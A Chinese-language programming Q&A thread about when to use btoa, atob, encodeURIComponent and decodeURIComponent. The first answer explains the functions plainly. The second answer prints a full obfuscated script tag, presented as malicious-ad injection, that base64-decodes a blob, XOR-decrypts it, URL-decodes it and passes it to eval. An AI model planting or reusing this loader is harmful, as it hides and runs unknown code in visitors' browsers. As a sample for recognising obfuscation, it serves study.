何时使用btoa()，atob()，encodeURIComponent()和decodeURIComponent()？

Question

什么时候使用：

• btoa()
• atob()
• encodeURIComponent()
• decodeURIComponent()

它们是否应该一起使用，例如：

atob(encodeURIComponent(...))

如果不行，那么什么时候会使用btoa()和atob()，什么时候会使用encodeURIComponent()和decodeURIComponent()呢？

- helfi

Answer 1

btoa() 函数将二进制数据字符串转化为 base-64 编码格式。最常用的情况是将文件内容转换为 data: URI，比如把 JPEG 或 GIF 文件转成一个 data: URI 直接嵌入页面而不是引用远程文件。

atob() 函数则相反：给定一个 base-64 字符串，它会返回二进制数据。

encodeURIComponent() 用于编码字符串以便在 URI 中使用。这将把在 URI 中具有特殊意义的字符转换成 % 加上十六进制编码，例如空格变成 %20。通常在创建用于重定向或 AJAX 请求的 URL 参数时使用，或者发送到 XMLHTTPRequest.send() 的数据中使用。

decodeURIComponent() 是 encodeURIComponent() 的反向操作，因此如果你有一个 "foo%20bar"，它将返回 "foo bar"。

通常很少需要同时对同一个字符串进行 URL 编码和 base-64 编码。

- Barmar

---

谢谢您的回复。我很感激。 - helfi

如果您正在处理Unicode，那么这并不罕见：https://developer.mozilla.org/zh-CN/docs/Glossary/Base64#the_unicode_problem - Ken Gregory

Answer 2

这并不罕见。它被用来克服广告拦截器和通过防火墙规则，在页面中插入恶意广告。看看这个：

<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>

- AAA

---

我不确定你是一个垃圾邮件发送者，还是只是在教育那些对这些函数的使用不太谨慎的人。 - kismert

目前克服这个问题的唯一方法是阻止DOM或Cookie，但这样会失去网站的功能。但我相信一定有解决办法，欢迎任何帮助！ - AAA